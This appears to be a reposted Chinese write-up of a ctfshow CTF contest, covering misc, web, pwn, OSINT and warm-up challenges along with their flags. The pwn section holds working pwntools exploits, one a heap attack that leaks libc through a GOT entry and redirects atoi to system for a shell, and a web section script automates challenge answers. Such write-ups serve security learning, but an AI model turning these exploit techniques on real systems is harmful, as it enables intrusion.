擺爛了擺爛了 太難了
聰明的師傅已經組隊打起月賽了
試試能不能茍住前5
茍住了 復現的后面再補充吧
文章目錄
- 1.Misc
- 中文識別帶師
- 2.Web
- 簡單的驗證碼
- easyPOP
- 3.Pwn
- pwn01-My_sword_is_ready
- pwn02-Precision_and_grace
- 4.Osint
- 英語閱讀
- 這是哪里
- 卡魯鐵盒
- 人家想玩嘛
- 人有點多
- 小城美食
- 安裝arph
- 5.熱身
- 聽歌識曲
- 看圖識妹
- 進群得碼
1.Misc
麻麻的 只會一題 其他的等復現再補充吧
中文識別帶師
挺好玩一個題 格局打開

linux nc進環境(注意進來別用win的netcat連 不然你就會像下面那樣 因為utf-8的環境會亂碼)


連進去后 就認字 一炷香十個字還是蠻久的
我的解法是用手機或者電腦手寫板 手寫出字后百度百科查注音與筆畫(這把的答案是帶音調的 cv過去就行了)不過 積累與特征也能做)
出題師傅的自動解法的話參考官方wp 挺復雜的 所以再次格局打開
2.Web
簡單的驗證碼
非預期解了 耳朵聽驗證碼 手爆登錄名密碼 就出了
easyPOP
好像這題也是爆非預期了 yue天痛哭
不會 暴打隊里的web爺做出來的
官解很詳細 不想寫
3.Pwn
pwn01-My_sword_is_ready
簽到題 就最簡單的變數覆寫
直接丟payload了
from pwn import *
p = remote("pwn.challenge.ctf.show", 28171)
payload = b'a'*36+p32(222)*3
p.recvuntil('Come and jj with bit!\n')
p.sendline(payload)
p.interactive()
pwn02-Precision_and_grace
house of force
payload:
from pwn import *
context.log_level = "debug"
p = remote('pwn.challenge.ctf.show', 28088)
elf = ELF("./pwn03-Precision_and_grace")
libc = ELF("/home/hackerbc/64bitbc-2.27.so")
def create(size, content):
p.sendlineafter(" :", "1")
p.sendlineafter(" : ", str(size))
p.sendlineafter(":", content)
def edit(idx, content):
p.sendlineafter(" :", "2")
p.sendlineafter(" :", str(idx))
p.sendlineafter(" : ", content)
def show(idx):
p.sendlineafter(" :", "3")
p.sendlineafter(" :", str(idx))
def delete(idx):
p.sendlineafter(" :", "4")
p.sendlineafter(" :", str(idx))
def getBase():
create(0x20 - 0x8, "0")
create(0x10, "1")
edit(0, "a" * 0x18 + p8(0x41))
delete(1)
payload = p64(0) * 4 + p64(0x30) + p64(elf.got["atoi"])
create(0x30, payload)
show(1)
libcBase = u64(p.recvuntil("\x7f")[-6: ].ljust(8, "\x00")) - libc.symbols["atoi"]
success("libcBase -> {:x}".format(libcBase))
return libcBase
def getShell(libcBase):
systemAddr = libcBase + libc.symbols["system"]
edit(1, p64(systemAddr))
p.sendlineafter(" :", "$0")
if __name__ == "__main__":
getShell(getBase())
p.interactive()
4.Osint
ak了ak了 ak的我有點難受 題目是不難 有手就行 但是有一堆知識盲區 噶住了
英語閱讀
簽到題 但是是很有格局的一道題目
題目資訊關鍵詞是考研英語 偶像 OSINT
正常搜索大概率是搜索不到的 換成osint的英文全稱(Open source intelligence)結合考研英語閱讀 搜索到原文為03年的考研英語閱讀題
flag的答案的人名是osint鼻祖,米國中情局創始人 所以題目中才說的是偶像
ctfshow{Bill_Donovan}
這是哪里
題目資訊 對當地影響深遠的學者 全圖搜索不好搜 那就截取部分圖片資訊進行搜索
有可能會搜到這個:

但是進一步搜索可知 因為是學者 所以可以查找到此人為黃道周先生 所處位置是漳州東山黃道周公園 谷歌地圖查找經緯度 后期flag改為四位數字了 更好找一點避免歧義

ctfshow{23.7353_117.5125}
卡魯鐵盒
俺出的 可能港口名稱這邊會卡掉幾個人 其實本質也是出個簽到題加上看看有沒有師傅直接交原題的flagorz
聰明的師傅可能已經找到了這個圖的原題 沒錯 是原題 但是不是復現 畢竟csc number已經改掉了
附件是一個集裝箱照片,車牌打碼了 搜圖也無法搜出圖片來源
圖中有效資訊僅有右上角數字

集裝箱編號因為問的是集裝箱 所以卡車資訊與集裝箱無關聯
這里引入一個新的概念叫做CSC編號Convention for Safe Containers國際集裝箱安全公約 每個集裝箱都有獨一無二的號碼
而顯然右上角數字并不是集裝箱的CSC編號(誰出題出這么簡單啊)
你需要找到一個網站:https://www.track-trace.com/來查詢這個集裝箱的資訊:

便可得到集裝箱的CSC編號與退役港口名稱

ctfshow{FBV854404_ROTTERDAM}
人家想玩嘛
太難了太難了 后面這兩題要噶了
yandex識圖可以找到拍攝地點與附近的全景

找到附近全景圖

題目描述 未拍攝到的娛樂專案 噴泉跟哈爾法塔可以排除掉了 全景放大發現這個

谷歌搜索可得知當地的增值稅為5% 同時在官網票價可以找到票價為

于是 算下稅前 95% 取整一下
ctfshow{LAKE_RIDE-65-5%}
人有點多
yandex識圖、谷歌識圖、直接翻譯日文等等可以找到店名是BIC_CAMERA(之前做日本osint的老主顧了 涉谷附近的店)
從官網可得知電話等資訊 包括
出口編號為B2 但是這個前面的數字 emmm 我也不太清楚本地人是否有這種命名方式 在這里可以找到地址
所以是10號(其他地方也能找到) 最近的停靠線編號的話Wikipedia 搜索副都心線

最終得到flag
ctfshow{BIC_CAMERA-1111-10B2-F16}
小城美食
百度識圖或者積累與特征可以找到為盜月社的某期視頻視頻鏈接
6分40多時候出現了這個

高德地圖搜索

ctfshow{浙江省衢州市柯城區龔家埠頭村28號}
安裝arph
不知道預期解是啥 等t佬補充
b站視頻搜索arch安裝 視頻一個一個看 通過對比字幕與視頻背景 拿到bv號

ctfshow{BV1e3411B79M}
5.熱身
聽歌識曲
從ztop師傅那得知有個東西叫網易見外作業臺 可以聽歌識曲

或者耳朵梭知道歌曲為blueberry hill
然后我是去YouTube找的,,

大帝的這個版本 百度百科找全名

ctfshow{Vladimir_Vladimirovich_Putin}
看圖識妹
手擼能擼出來 但是很累 貼一下yuntian師傅的腳本 7佬的那個腳本也tql
import os
import glob
from PIL import Image
import cv2
import numpy
import base64
import requests
def thumbnail_pic(path):
a=glob.glob(r'./1/1.jpg') #當前路徑創建一個叫1的檔案夾放1.jpg這個圖片
for x in a:
name=os.path.join(path,x)
im=Image.open(name)
im.thumbnail((im.size[0]//10,im.size[1]//10))
im.save(name[:-4]+"_1.png",'PNG')
def pipei(target,template):
target = cv2.imread(target)
template = cv2.imread(template)
theight, twidth = template.shape[:2]
result = cv2.matchTemplate(target,template,cv2.TM_SQDIFF_NORMED)
min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(result)
cv2.rectangle(target,min_loc,(min_loc[0]+twidth,min_loc[1]+theight),(0,0,225),20)
strmin_val = str(min_val)
temp_loc = min_loc
other_loc = min_loc
numOfloc = 1
threshold = 0.000001
loc = numpy.where(result<threshold)
for other_loc in zip(*loc[::-1]):
if (temp_loc[0]+5<other_loc[0])or(temp_loc[1]+5<other_loc[1]):
numOfloc = numOfloc + 1
temp_loc = other_loc
cv2.rectangle(target,other_loc,(other_loc[0]+twidth,other_loc[1]+theight),(0,0,225),20)
str_numOfloc = str(numOfloc)
x = other_loc[0]
y = other_loc[1]
x_list = "0123456789"
y_list = "ABCDEFGHIJKLMNOPQRST"
point = y_list[(y-50)//75]+x_list[(x-50)//50]
#print(point)
return point
def url_post(url_1,url_2):
session=requests.session()
url_1 = url_1
url_2 = url_2
proxies = {'http': 'http://localhost:8080','https': 'http://localhost:8080'}
cookies=""
session=requests.session()
for i in range(0,102):
req_1 = session.get(url=url_1,cookies=cookies)
if r"ctfshow" in req_1.text:
print(req_1.text)
break
imgdata = base64.b64decode(req_1.text[169:-140])
file = open('./1/1.jpg','wb') #也是上面1檔案夾
file.write(imgdata)
file.close()
path='.'
thumbnail_pic(path)
point = pipei("./all (2).png","./1/1_1.png") #第一個是需要匹配的圖片,就是100個圖片在一起的,后面是thumbnail_pic函式改名的
data = {
"meizi_id" : point
}
req_2 = session.post(url=url_2,data=data)
req_2 = session.get(url=url_1,proxies=proxies)
jar = requests.cookies.RequestsCookieJar()
cookies = requests.utils.dict_from_cookiejar(session.cookies)
print(i)
print("=============")
print(cookies)
url_post("http://8f4d8fc8-f5bc-4dcf-93a3-b5233658f3f4.challenge.ctf.show/start","http://8f4d8fc8-f5bc-4dcf-93a3-b5233658f3f4.challenge.ctf.show//check")#修改url
進群得碼
群主設定了陷阱hhh
群里喊一聲 擊劍杯簽到即可
ctfshow{this_is_real_flag_jjcup}
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/356908.html
標籤:其他
